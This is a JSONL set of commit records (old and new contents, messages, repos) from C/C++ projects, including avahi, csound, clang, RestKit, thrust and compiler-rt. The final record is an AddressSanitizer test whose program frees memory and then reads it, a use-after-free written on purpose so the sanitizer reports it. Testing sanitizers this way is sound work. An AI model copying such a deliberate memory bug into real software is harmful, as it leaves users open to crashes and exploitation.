ga_error_quark()\n\nG_END_DECLS\n#endif \/* #ifndef __GA_ERROR_H__ *\/\n","subject":"Remove C Nokia notice that actually remained from the copyright boilerplate","message":"Remove C Nokia notice that actually remained from the copyright boilerplate\n\ngit-svn-id: ff687e355030673c307e7da231f59639d58f56d5@1671 941a03a8-eaeb-0310-b9a0-b1bbd8fe43fe\n","lang":"C","license":"lgpl-2.1","repos":"lathiat\/avahi,heftig\/avahi,sunilghai\/avahi-clone,Kisensum\/xmDNS-avahi,gloryleague\/avahi,heftig\/avahi-1,Kisensum\/xmDNS-avahi,heftig\/avahi-1,everbase\/catta,heftig\/avahi,heftig\/avahi,heftig\/avahi,everbase\/catta,gloryleague\/avahi,Distrotech\/avahi,lathiat\/avahi,heftig\/avahi-1,lathiat\/avahi,lathiat\/avahi,Distrotech\/avahi,Distrotech\/avahi,Distrotech\/avahi,heftig\/avahi-1,gloryleague\/avahi,gloryleague\/avahi,catta-x\/catta,everbase\/catta,lathiat\/avahi,catta-x\/catta,Kisensum\/xmDNS-avahi,heftig\/avahi,sunilghai\/avahi-clone,sunilghai\/avahi-clone,Distrotech\/avahi,heftig\/avahi-1,lathiat\/avahi,heftig\/avahi-1,Distrotech\/avahi,sunilghai\/avahi-clone,Kisensum\/xmDNS-avahi,Kisensum\/xmDNS-avahi,gloryleague\/avahi,sunilghai\/avahi-clone,heftig\/avahi,sunilghai\/avahi-clone,gloryleague\/avahi,Kisensum\/xmDNS-avahi,catta-x\/catta"}
{"commit":"fe70dac3a7a7e34b66fcfc5ef0c6844d37a594ed","old_file":"include\/tasks\/clock_server.h","new_file":"include\/tasks\/clock_server.h","old_contents":"\n#ifndef __CLOCK_SERVER_H__\n#define __CLOCK_SERVER_H__\n\n#include <std.h>\n#include <scheduler.h>\n\nextern int clock_server_tid;\n\ntypedef enum {\n    CLOCK_NOTIFY = 1,\n    CLOCK_DELAY = 2,\n    CLOCK_TIME = 3,\n    CLOCK_DELAY_UNTIL = 4\n} clock_req_type;\n\ntypedef struct {\n    clock_req_type type;\n    uint ticks;\n} clock_req;\n\nvoid clock_server(void);\n\n#endif\n","new_contents":"\n#ifndef __CLOCK_SERVER_H__\n#define __CLOCK_SERVER_H__\n\n#include <std.h>\n#include <scheduler.h>\n\nextern int clock_server_tid;\n\ntypedef enum {\n    CLOCK_NOTIFY = 1,\n    CLOCK_DELAY = 2,\n    CLOCK_TIME = 3,\n    CLOCK_DELAY_UNTIL = 4\n} clock_req_type;\n\ntypedef struct {\n    clock_req_type type;\n    uint ticks;\n} clock_req;\n\nvoid __attribute__ ((noreturn)) clock_server(void);\n\n#endif\n","subject":"Fix warning given by Clang","message":"Fix warning given by Clang","lang":"C","license":"mit","repos":"ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme"}
{"commit":"3a321900d4205ba7819fdc421a1efa3c8724d6b0","old_file":"Opcodes\/ftest.c","new_file":"Opcodes\/ftest.c","old_contents":"#include \"csdl.h\"\n#include <math.h>\n\nvoid tanhtable(FUNC *ftp, FGDATA *ff)\n{\n    MYFLT *fp = ftp->ftable;\n    MYFLT range = ff->e.p[5];\n    double step = (double)range\/(ff->e.p[3]);\n    int i;\n    double x;\n    for (i=0, x=FL(0.0); i<ff->e.p[3]; i++, x+=step)\n      *fp++ = (MYFLT)tanh(x);\n}\n\nstatic void gentune(FUNC *ftp, FGDATA *ff)             \/* Gab 1\/3\/2005 *\/\n{\n    int j;\n    int notenum;\n    int grade;\n    int numgrades;\n    int basekeymidi;\n    MYFLT basefreq, factor,interval;\n\n    MYFLT\t*fp = ftp->ftable, *pp = &(ff->e.p[5]);\n    int\tnvals = ff->e.pcnt - 4;\n\n    numgrades = (int) *pp++;\n    interval  = *pp++;\n    basefreq  = *pp++;\n    basekeymidi=  (int) *pp++;\n\n    nvals = ff->flenp1 - 1;\n\n    for (j =0; j < nvals; j++) {\n      notenum = j;\n      if (notenum < basekeymidi) {\n        notenum = basekeymidi - notenum;\n        grade  = (numgrades-(notenum % numgrades)) % numgrades;\n        factor = - (MYFLT)(int) ((notenum+numgrades-1) \/ numgrades) ;\n      }\n      else {\n        notenum = notenum - basekeymidi;\n        grade  = notenum % numgrades;\n        factor = (MYFLT)(int) (notenum \/ numgrades);\n      }\n      factor = (MYFLT)pow((double)interval, (double)factor);\n      fp[j] = pp[grade] * factor * basefreq;\n      \n    }\n}\n\n\nstatic NGFENS localfgens[] = {\n   { \"tanh\", (void(*)(void))tanhtable},\n   { \"cpstune\", (void(*)(void))gentune},\n   { NULL, NULL}\n};\n\n#define S       sizeof\n\nstatic OENTRY localops[] = {};\n\nFLINKAGE\n\n","new_contents":"#include \"csdl.h\"\n#include <math.h>\n\nvoid tanhtable(FUNC *ftp, FGDATA *ff)\n{\n    MYFLT *fp = ftp->ftable;\n    MYFLT range = ff->e.p[5];\n    double step = (double)range\/(ff->e.p[3]);\n    int i;\n    double x;\n    for (i=0, x=FL(0.0); i<ff->e.p[3]; i++, x+=step)\n      *fp++ = (MYFLT)tanh(x);\n}\n\n\nstatic NGFENS localfgens[] = {\n   { \"tanh\", (void(*)(void))tanhtable},\n   { NULL, NULL}\n};\n\n#define S       sizeof\n\nstatic OENTRY localops[] = {};\n\nFLINKAGE\n\n","subject":"Remove gen from loadable code","message":"Remove gen from loadable code\n","lang":"C","license":"lgpl-2.1","repos":"audiokit\/csound,nikhilsinghmus\/csound,mcanthony\/csound,audiokit\/csound,nikhilsinghmus\/csound,audiokit\/csound,max-ilse\/csound,audiokit\/csound,audiokit\/csound,audiokit\/csound,audiokit\/csound,nikhilsinghmus\/csound,mcanthony\/csound,nikhilsinghmus\/csound,Angeldude\/csound,max-ilse\/csound,nikhilsinghmus\/csound,Angeldude\/csound,nikhilsinghmus\/csound,Angeldude\/csound,max-ilse\/csound,nikhilsinghmus\/csound,mcanthony\/csound,Angeldude\/csound,iver56\/csound,nikhilsinghmus\/csound,iver56\/csound,iver56\/csound,iver56\/csound,max-ilse\/csound,Angeldude\/csound,mcanthony\/csound,nikhilsinghmus\/csound,mcanthony\/csound,max-ilse\/csound,iver56\/csound,max-ilse\/csound,iver56\/csound,audiokit\/csound,mcanthony\/csound,Angeldude\/csound,Angeldude\/csound,iver56\/csound,mcanthony\/csound,mcanthony\/csound,audiokit\/csound,iver56\/csound,Angeldude\/csound,Angeldude\/csound,mcanthony\/csound,iver56\/csound,audiokit\/csound,max-ilse\/csound,mcanthony\/csound,max-ilse\/csound,nikhilsinghmus\/csound,max-ilse\/csound,iver56\/csound,Angeldude\/csound,max-ilse\/csound"}
{"commit":"7b85805e58926dda017903ac9f6dff657279436d","old_file":"bugs\/gcc-vs-clang-struct-decl.c","new_file":"bugs\/gcc-vs-clang-struct-decl.c","old_contents":"","new_contents":"struct A\n{\n\tint i;\n};\n\nint main(void)\n{\n\tstruct B\n\t{\n\t\tstruct A;\n\t\tstruct A a;\n\t};\n\n\tstruct B b;\n\n\tb.a.i = 3;\n\n\treturn b.a.i;\n}\n","subject":"Add struct declaration bug - GCC mismatch with Clang","message":"Add struct declaration bug - GCC mismatch with Clang\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"de8e4435d61cd4b5e23e80f53fc33bc00dcef1d4","old_file":"test\/Headers\/tgmath.c","new_file":"test\/Headers\/tgmath.c","old_contents":"","new_contents":"\/\/ RUN: %clang -fsyntax-only %s\n\n#ifdef __STDC_HOSTED__\n\n#include <tgmath.h>\n\nfloat f;\ndouble d;\nlong double l;\n\nfloat complex fc;\ndouble complex dc;\nlong double complex lc;\n\n\/\/ creal\n\n_Static_assert(sizeof(creal(f)) == sizeof(f), \"\");\n_Static_assert(sizeof(creal(d)) == sizeof(d), \"\");\n_Static_assert(sizeof(creal(l)) == sizeof(l), \"\");\n\n_Static_assert(sizeof(creal(fc)) == sizeof(f), \"\");\n_Static_assert(sizeof(creal(dc)) == sizeof(d), \"\");\n_Static_assert(sizeof(creal(lc)) == sizeof(l), \"\");\n\n\/\/ fabs\n\n_Static_assert(sizeof(fabs(f)) == sizeof(f), \"\");\n_Static_assert(sizeof(fabs(d)) == sizeof(d), \"\");\n_Static_assert(sizeof(fabs(l)) == sizeof(l), \"\");\n\n_Static_assert(sizeof(fabs(fc)) == sizeof(f), \"\");\n_Static_assert(sizeof(fabs(dc)) == sizeof(d), \"\");\n_Static_assert(sizeof(fabs(lc)) == sizeof(l), \"\");\n\n\/\/ logb\n\n_Static_assert(sizeof(logb(f)) == sizeof(f), \"\");\n_Static_assert(sizeof(logb(d)) == sizeof(d), \"\");\n_Static_assert(sizeof(logb(l)) == sizeof(l), \"\");\n\n#endif\n","subject":"Add testcase missed from r181527.","message":"Add testcase missed from r181527.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@181531 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"c493ec3cd5cc9f0b662ebdbcf40a9d8ffddff2f3","old_file":"Code\/Network\/Network.h","new_file":"Code\/Network\/Network.h","old_contents":"\/\/\n\/\/  Network.h\n\/\/  RestKit\n\/\/\n\/\/  Created by Blake Watters on 9\/30\/10.\n\/\/  Copyright 2010 Two Toasters\n\/\/  \n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/  \n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/  \n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import \"RKClient.h\"\n#import \"RKURL.h\"\n#import \"RKRequest.h\"\n#import \"RKResponse.h\"\n#import \"RKRequestSerializable.h\"\n#import \"RKReachabilityObserver.h\"\n#import \"RKRequestQueue.h\"\n#import \"RKNotifications.h\"\n#import \"RKClientOAuth.h\"\n","new_contents":"\/\/\n\/\/  Network.h\n\/\/  RestKit\n\/\/\n\/\/  Created by Blake Watters on 9\/30\/10.\n\/\/  Copyright 2010 Two Toasters\n\/\/  \n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/  \n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/  \n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import \"RKClient.h\"\n#import \"RKURL.h\"\n#import \"RKRequest.h\"\n#import \"RKResponse.h\"\n#import \"RKRequestSerializable.h\"\n#import \"RKReachabilityObserver.h\"\n#import \"RKRequestQueue.h\"\n#import \"RKNotifications.h\"\n#import \"RKOAuthClient.h\"\n","subject":"Fix for missing rename on OAuth client","message":"Fix for missing rename on OAuth client\n","lang":"C","license":"apache-2.0","repos":"vilinskiy-playdayteam\/RestKit,Gaantz\/RestKit,sachin-khard\/NucRestKit,DejaMi\/RestKit,lmirosevic\/RestKit,PonderProducts\/RestKit,jrtaal\/RestKit,thomaschristensen\/RestKit,jonesgithub\/RestKit,qingsong-xu\/RestKit,DocuSignDev\/RestKit,moritzh\/RestKit,gauravstomar\/RestKit,HarrisLee\/RestKit,kevmeyer\/RestKit,dx285\/RestKit,mberube09\/RestKit,REXLabsInc\/RestKit,HYPERHYPER\/RestKit2,samanalysis\/RestKit,DejaMi\/RestKit,zhenlove\/RestKit,money-alex2006hw\/RestKit,REXLabsInc\/RestKit,loverbabyz\/RestKit,RyanCodes\/RestKit,QLGu\/RestKit,QLGu\/RestKit,Papercloud\/RestKit,baumatron\/RestKit,paperlesspost\/RestKit,aleufms\/RestKit,pat2man\/RestKit,timbodeit\/RestKit,HYPERHYPER\/RestKit2,fedegasp\/RestKit,paperlesspost\/RestKit,mikarun\/RestKit,samanalysis\/RestKit,Flutterbee\/RestKit,Meihualu\/RestKit,hanangellove\/RestKit,loverbabyz\/RestKit,wireitcollege\/RestKit,sachin-khard\/NucleusRestKit,fhchina\/RestKit,imton\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,sachin-khard\/NucleusRestKit,Meihualu\/RestKit,DocuSignDev\/RestKit,apontador\/RestKit,pbogdanv\/RestKit,jonesgithub\/RestKit,wuxsoft\/RestKit,nalindz\/pulpfiction-RestKit,forcedotcom\/RestKit,gauravstomar\/RestKit,damiannz\/RestKit,pat2man\/RestKit,QLGu\/RestKit,StasanTelnov\/RestKit,djz-code\/RestKit,hejunbinlan\/RestKit,orta\/RestKit,mumer92\/RestKit,thomaschristensen\/RestKit,orta\/RestKit,braindata\/RestKit,zaichang\/RestKit,hanangellove\/RestKit,zilaiyedaren\/RestKit,LiuShulong\/RestKit,cfis\/RestKit,agworld\/RestKit,pat2man\/RestKit,moneytree\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,paperlesspost\/RestKit,justinyaoqi\/RestKit,Flutterbee\/RestKit,zaichang\/RestKit,fhchina\/RestKit,money-alex2006hw\/RestKit,Juraldinio\/RestKit,wangjiangwen\/RestKit,percysnoodle\/RestKit,Juraldinio\/RestKit,Livestream\/RestKit,common2015\/RestKit,qingsong-xu\/RestKit,braindata\/RestKit-1,jrtaal\/RestKit,oligriffiths\/RestKit,djz-code\/RestKit,concreteinteractive\/RestKit,zjh171\/RestKit,Bogon\/RestKit,Papercloud\/RestKit,zjh171\/RestKit,QLGu\/RestKit,CodewareTechnology\/RestKit,nett55\/RestKit,ForrestAlfred\/RestKit,oye-lionel\/GithubTest,sachin-khard\/NucRestKit,mavericksunny\/RestKit,jonesgithub\/RestKit,RestKit\/RestKit,ppierson\/RestKit,wireitcollege\/RestKit,common2015\/RestKit,apontador\/RestKit,wangjiangwen\/RestKit,agworld\/RestKit,forcedotcom\/RestKit,kevmeyer\/RestKit,samanalysis\/RestKit,Livestream\/RestKit,sandyway\/RestKit,ChinaPicture\/RestKit,fhchina\/RestKit,Bogon\/RestKit,sandyway\/RestKit,REXLabsInc\/RestKit,wangjiangwen\/RestKit,nalindz\/pulpfiction-RestKit,adozenlines\/RestKit,naqi\/RestKit,timbodeit\/RestKit,SinnerSchraderMobileMirrors\/RestKit,nphkh\/RestKit,baumatron\/RestKit,hanangellove\/RestKit,TheFarm\/RestKit,mumer92\/RestKit,imton\/RestKit,PonderProducts\/RestKit,imton\/RestKit,oye-lionel\/GithubTest,lucasecf\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,moneytree\/RestKit,moritzh\/RestKit,antondarki\/RestKit,0dayZh\/RestKit,mavericksunny\/RestKit,fedegasp\/RestKit,gank0326\/restkit,goldstar\/RestKit,Flutterbee\/RestKit,ChinaPicture\/RestKit,Meihualu\/RestKit,concreteinteractive\/RestKit,agworld\/RestKit,Livestream\/RestKit,ipmobiletech\/RestKit,HYPERHYPER\/RestKit2,hejunbinlan\/RestKit,samkrishna\/RestKit,money-alex2006hw\/RestKit,StasanTelnov\/RestKit,dx285\/RestKit,timbodeit\/RestKit,0dayZh\/RestKit,mikarun\/RestKit,HarrisLee\/RestKit,oye-lionel\/GithubTest,zhenlove\/RestKit,wireitcollege\/RestKit,hejunbinlan\/RestKit,erichedstrom\/RestKit,concreteinteractive\/RestKit,0x73\/RestKit,0x73\/RestKit,braindata\/RestKit-1,Papercloud\/RestKit,braindata\/RestKit-1,sachin-khard\/NucRestKit,qingsong-xu\/RestKit,naqi\/RestKit,ipmobiletech\/RestKit,wyzzarz\/RestKit,coderChrisLee\/RestKit,percysnoodle\/RestKit,zjh171\/RestKit,braindata\/RestKit,Bogon\/RestKit,ipmobiletech\/RestKit,Papercloud\/RestKit,Juraldinio\/RestKit,concreteinteractive\/RestKit,braindata\/RestKit-1,damiannz\/RestKit,gank0326\/restkit,LiuShulong\/RestKit,mikarun\/RestKit,cryptojuice\/RestKit,lmirosevic\/RestKit,zhenlove\/RestKit,RyanCodes\/RestKit,justinyaoqi\/RestKit,StasanTelnov\/RestKit,naqi\/RestKit,sachin-khard\/NucleusRestKit,zilaiyedaren\/RestKit,pat2man\/RestKit,adozenlines\/RestKit,timbodeit\/RestKit,caamorales\/RestKit,nett55\/RestKit,loverbabyz\/RestKit,mcfedr\/RestKit,wireitcollege\/RestKit,nett55\/RestKit,zhenlove\/RestKit,adozenlines\/RestKit,apontador\/RestKit,mberube09\/RestKit,HarrisLee\/RestKit,CenterDevice\/RestKit,caamorales\/RestKit,goldstar\/RestKit,oligriffiths\/RestKit,youssman\/RestKit,agworld\/RestKit,vilinskiy-playdayteam\/RestKit,baumatron\/RestKit,nphkh\/RestKit,wuxsoft\/RestKit,RyanCodes\/RestKit,percysnoodle\/RestKit,timbodeit\/RestKit,loverbabyz\/RestKit,antondarki\/RestKit,samkrishna\/RestKit,justinyaoqi\/RestKit,apontador\/RestKit,taptaptap\/RestKit,SuPair\/RestKit,ForrestAlfred\/RestKit,DejaMi\/RestKit,samanalysis\/RestKit,sandyway\/RestKit,SuPair\/RestKit,Meihualu\/RestKit,moritzh\/RestKit,ForrestAlfred\/RestKit,CodewareTechnology\/RestKit,coderChrisLee\/RestKit,ppierson\/RestKit,DejaMi\/RestKit,samkrishna\/RestKit,braindata\/RestKit,zjh171\/RestKit,caamorales\/RestKit,TimeIncOSS\/RestKit,ChinaPicture\/RestKit,ppierson\/RestKit,mumer92\/RestKit,jonesgithub\/RestKit,samanalysis\/RestKit,qingsong-xu\/RestKit,DocuSignDev\/RestKit,gauravstomar\/RestKit,money-alex2006hw\/RestKit,DejaMi\/RestKit,Flutterbee\/RestKit,taptaptap\/RestKit,youssman\/RestKit,pbogdanv\/RestKit,kevmeyer\/RestKit,djz-code\/RestKit,LiuShulong\/RestKit,coderChrisLee\/RestKit,pbogdanv\/RestKit,kevmeyer\/RestKit,concreteinteractive\/RestKit,oligriffiths\/RestKit,taptaptap\/RestKit,wuxsoft\/RestKit,dx285\/RestKit,ipmobiletech\/RestKit,cnbin\/RestKit,SinnerSchraderMobileMirrors\/RestKit,jrtaal\/RestKit,adozenlines\/RestKit,Gaantz\/RestKit,zilaiyedaren\/RestKit,thomaschristensen\/RestKit,CenterDevice\/RestKit,pat2man\/RestKit,hanangellove\/RestKit,caamorales\/RestKit,lucasecf\/RestKit,hejunbinlan\/RestKit,cryptojuice\/RestKit,zilaiyedaren\/RestKit,youssman\/RestKit,ppierson\/RestKit,dx285\/RestKit,cryptojuice\/RestKit,lucasecf\/RestKit,PonderProducts\/RestKit,ppierson\/RestKit,cnbin\/RestKit,HarrisLee\/RestKit,forcedotcom\/RestKit,0x73\/RestKit,loverbabyz\/RestKit,gank0326\/restkit,antondarki\/RestKit,lucasecf\/RestKit,moneytree\/RestKit,antondarki\/RestKit,mumer92\/RestKit,zaichang\/RestKit,TheFarm\/RestKit,canaydogan\/RestKit,vilinskiy-playdayteam\/RestKit,taptaptap\/RestKit,TimeIncOSS\/RestKit,nphkh\/RestKit,mavericksunny\/RestKit,Bogon\/RestKit,PonderProducts\/RestKit,gank0326\/restkit,fedegasp\/RestKit,margarina\/RestKit-latest,oligriffiths\/RestKit,SuPair\/RestKit,REXLabsInc\/RestKit,margarina\/RestKit-latest,CenterDevice\/RestKit,cnbin\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,hanangellove\/RestKit,mikarun\/RestKit,sandyway\/RestKit,gauravstomar\/RestKit,LiuShulong\/RestKit,coderChrisLee\/RestKit,adozenlines\/RestKit,moneytree\/RestKit,jrtaal\/RestKit,forcedotcom\/RestKit,CodewareTechnology\/RestKit,mavericksunny\/RestKit,nalindz\/pulpfiction-RestKit,sachin-khard\/NucRestKit,RyanCodes\/RestKit,jrtaal\/RestKit,zjh171\/RestKit,oye-lionel\/GithubTest,canaydogan\/RestKit,sachin-khard\/NucleusRestKit,sachin-khard\/NucleusRestKit,canaydogan\/RestKit,mikarun\/RestKit,cfis\/RestKit,nett55\/RestKit,sandyway\/RestKit,ipmobiletech\/RestKit,nphkh\/RestKit,braindata\/RestKit,zaichang\/RestKit,wyzzarz\/RestKit,vilinskiy-playdayteam\/RestKit,dx285\/RestKit,gauravstomar\/RestKit,nalindz\/pulpfiction-RestKit,Gaantz\/RestKit,ForrestAlfred\/RestKit,wyzzarz\/RestKit,goldstar\/RestKit,lmirosevic\/RestKit,ForrestAlfred\/RestKit,pbogdanv\/RestKit,Gaantz\/RestKit,0dayZh\/RestKit,sachin-khard\/NucRestKit,CodewareTechnology\/RestKit,erichedstrom\/RestKit,percysnoodle\/RestKit,LiuShulong\/RestKit,canaydogan\/RestKit,Meihualu\/RestKit,common2015\/RestKit,RyanCodes\/RestKit,oligriffiths\/RestKit,baumatron\/RestKit,mberube09\/RestKit,youssman\/RestKit,cfis\/RestKit,youssman\/RestKit,RestKit\/RestKit,cnbin\/RestKit,pbogdanv\/RestKit,fedegasp\/RestKit,aleufms\/RestKit,cnbin\/RestKit,zhenlove\/RestKit,cryptojuice\/RestKit,ChinaPicture\/RestKit,Juraldinio\/RestKit,damiannz\/RestKit,CodewareTechnology\/RestKit,mberube09\/RestKit,antondarki\/RestKit,erichedstrom\/RestKit,mumer92\/RestKit,aleufms\/RestKit,ChinaPicture\/RestKit,caamorales\/RestKit,fhchina\/RestKit,QLGu\/RestKit,zilaiyedaren\/RestKit,money-alex2006hw\/RestKit,lucasecf\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,wyzzarz\/RestKit,Papercloud\/RestKit,aleufms\/RestKit,coderChrisLee\/RestKit,lmirosevic\/RestKit,imton\/RestKit,naqi\/RestKit,common2015\/RestKit,0dayZh\/RestKit,HYPERHYPER\/RestKit2,margarina\/RestKit-latest,imton\/RestKit,wuxsoft\/RestKit,SinnerSchraderMobileMirrors\/RestKit,gumdal\/RestKit,fedegasp\/RestKit,gumdal\/RestKit,canaydogan\/RestKit,damiannz\/RestKit,Livestream\/RestKit,wangjiangwen\/RestKit,HarrisLee\/RestKit,kevmeyer\/RestKit,nphkh\/RestKit,mcfedr\/RestKit,RestKit\/RestKit,common2015\/RestKit,moneytree\/RestKit,qingsong-xu\/RestKit,moritzh\/RestKit,gank0326\/restkit,HYPERHYPER\/RestKit2,wireitcollege\/RestKit,aleufms\/RestKit,jonesgithub\/RestKit,oye-lionel\/GithubTest,SinnerSchraderMobileMirrors\/RestKit,lmirosevic\/RestKit,hejunbinlan\/RestKit,0x73\/RestKit,baumatron\/RestKit,fhchina\/RestKit,margarina\/RestKit-latest,damiannz\/RestKit,Gaantz\/RestKit,thomaschristensen\/RestKit,braindata\/RestKit-1,nett55\/RestKit,wangjiangwen\/RestKit,SuPair\/RestKit,SuPair\/RestKit,justinyaoqi\/RestKit,apontador\/RestKit,Bogon\/RestKit,djz-code\/RestKit,gumdal\/RestKit,justinyaoqi\/RestKit,wuxsoft\/RestKit,moritzh\/RestKit,TheFarm\/RestKit,Juraldinio\/RestKit,TimeIncOSS\/RestKit,CenterDevice\/RestKit,goldstar\/RestKit,cryptojuice\/RestKit,0x73\/RestKit,paperlesspost\/RestKit"}
{"commit":"d33166e318318a9bb1e5e3855150d8d8ffe655b0","old_file":"thrust\/detail\/casts.h","new_file":"thrust\/detail\/casts.h","old_contents":"","new_contents":"\/*\n *  Copyright 2008-2009 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n\/*! \\file casts.h\n *  \\brief Unsafe casts for internal use.\n *\/\n\n#pragma once\n\n#include <thrust\/iterator\/iterator_traits.h>\n\nnamespace thrust\n{\n\nnamespace detail\n{\n\nnamespace dispatch\n{\n\ntemplate<typename TrivialIterator>\n  typename thrust::iterator_traits<TrivialIterator>::value_type *\n    raw_pointer_cast(TrivialIterator i,\n                     thrust::random_access_host_iterator_tag)\n{\n  typedef typename thrust::iterator_traits<TrivialIterator>::value_type * Pointer;\n\n  \/\/ cast away constness\n  return const_cast<Pointer>(&*i);\n} \/\/ end raw_pointer_cast()\n\n\/\/ this path will work for device_ptr & device_vector::iterator\ntemplate<typename TrivialIterator>\n  typename thrust::iterator_traits<TrivialIterator>::value_type *\n    raw_pointer_cast(TrivialIterator i,\n                     thrust::random_access_device_iterator_tag)\n{\n  typedef typename thrust::iterator_traits<TrivialIterator>::value_type * Pointer;\n\n  \/\/ cast away constness\n  return const_cast<Pointer>((&*i).get());\n} \/\/ end raw_pointer_cast()\n\n} \/\/ end dispatch\n\ntemplate<typename TrivialIterator>\n  typename thrust::iterator_traits<TrivialIterator>::value_type *raw_pointer_cast(TrivialIterator i)\n{\n  return detail::dispatch::raw_pointer_cast(i, thrust::iterator_traits<TrivialIterator>::iterator_category());\n} \/\/ end raw_pointer_cast()\n\n} \/\/ end detail\n\n} \/\/ end thrust\n\n","subject":"Add git r done version of detail::raw_pointer_cast","message":"Add git r done version of detail::raw_pointer_cast\n\n--HG--\nextra : convert_revision : svn%3A83215879-3e5a-4751-8c9d-778f44bb06a5\/trunk%40150\n","lang":"C","license":"apache-2.0","repos":"thvasilo\/thrust,dachziegel\/thrust,dachziegel\/thrust,thrust\/thrust,marksantos\/thrust,jaredhoberock\/thrust,zeryx\/thrust,sarvex\/thrust,xiongzhanblake\/thrust,thrust\/thrust,zeryx\/thrust,arnabgho\/thrust,sdalton1\/thrust,sdalton1\/thrust,arnabgho\/thrust,marksantos\/thrust,GrimDerp\/thrust,andrewcorrigan\/thrust-multi-permutation-iterator,sarvex\/thrust,xiongzhanblake\/thrust,GrimDerp\/thrust,Ricardo666666\/thrust,jaredhoberock\/thrust,raygit\/thrust,zhenglaizhang\/thrust,thvasilo\/thrust,jaredhoberock\/thrust,jaredhoberock\/thrust,sarvex\/thrust,Ricardo666666\/thrust,jaredhoberock\/thrust,thrust\/thrust,xiongzhanblake\/thrust_src,zhenglaizhang\/thrust,zhenglaizhang\/thrust,egaburov\/thrust,xiongzhanblake\/thrust_src,thrust\/thrust,marksantos\/thrust,andrewcorrigan\/thrust-multi-permutation-iterator,dachziegel\/thrust,raygit\/thrust,thvasilo\/thrust,mohamed-ali\/thrust,mohamed-ali\/thrust,egaburov\/thrust,sdalton1\/thrust,thrust\/thrust,mohamed-ali\/thrust,andrewcorrigan\/thrust-multi-permutation-iterator,xiongzhanblake\/thrust_src,raygit\/thrust,egaburov\/thrust,GrimDerp\/thrust,xiongzhanblake\/thrust,Ricardo666666\/thrust,arnabgho\/thrust,zeryx\/thrust"}
{"commit":"d14db182365578e79f5f60c5cf1052d5f9a0edef","old_file":"lib\/asan\/output_tests\/use-after-free.c","new_file":"lib\/asan\/output_tests\/use-after-free.c","old_contents":"#include <stdlib.h>\nint main() {\n  char *x = (char*)malloc(10 * sizeof(char));\n  free(x);\n  return x[5];\n}\n\n\/\/ CHECK: heap-use-after-free\n\/\/ CHECKSLEEP: Sleeping for 1 second\n\/\/ CHECKSTRIP-NOT: #0 0x{{.*}} ({{[\/].*}})\n","new_contents":"#include <stdlib.h>\nint main() {\n  char *x = (char*)malloc(10 * sizeof(char));\n  free(x);\n  return x[5];\n}\n\n\/\/ CHECK: heap-use-after-free\n\/\/ CHECK: free\n\/\/ CHECK: main{{.*}}use-after-free.c:4\n\/\/ CHECK: malloc\n\/\/ CHECK: main{{.*}}use-after-free.c:3\n\/\/ CHECKSLEEP: Sleeping for 1 second\n\/\/ CHECKSTRIP-NOT: #0 0x{{.*}} ({{[\/].*}})\n","subject":"Check for filenames and numbers to detect possible problems with asan_symbolize.py on -fPIE binaries.","message":"Check for filenames and numbers to detect possible problems with asan_symbolize.py on -fPIE binaries.\n\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@161948 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
